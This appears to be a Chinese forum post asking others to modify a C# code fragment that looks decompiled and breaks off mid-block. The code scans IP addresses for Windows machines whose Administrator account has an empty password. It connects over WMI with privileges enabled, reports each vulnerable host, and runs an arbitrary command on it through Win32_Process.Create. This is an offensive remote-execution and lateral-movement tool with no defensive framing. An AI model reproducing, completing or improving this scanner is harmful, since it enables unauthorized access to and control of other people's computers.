以下为原码

                string str = this.ips[int.Parse(Thread.CurrentThread.Name.ToString())].ToString();
                Console.Write("Scan Host(s)：" + str + "\r\n");
                ConnectionOptions options = new ConnectionOptions();
                options.set_Username("Administrator");
                options.set_Password("");
                options.set_Timeout(new TimeSpan(0x2710L));
                options.set_Authority("ntlmdomain:" + str);
                options.set_Authentication(6);
                options.set_Impersonation(3);
                options.set_EnablePrivileges(true);
                ManagementPath path = new ManagementPath(@"\\" + str + @"\root\cimv2:Win32_Process");
                ManagementScope scope = new ManagementScope(path, options);
                try
                {
                    ScnClass class3;
                    scope.Connect();
                    Console.Write(str + " Password is null，Scanned IP like these：" + ((this.rips.Count + 1)).ToString() + "，Sending Command Now...\r\n");
                    try
                    {
                        ObjectGetOptions options2 = new ObjectGetOptions();
                        ManagementClass class2 = new ManagementClass(scope, path, options2);
                        ManagementBaseObject methodParameters = class2.GetMethodParameters("Create");
                        methodParameters.set_Item("CommandLine", this.cmdLine);
                        class2.InvokeMethod("Create", methodParameters, null);
                        lock ((class3 = this))
                        {

希望大哥们帮修改下
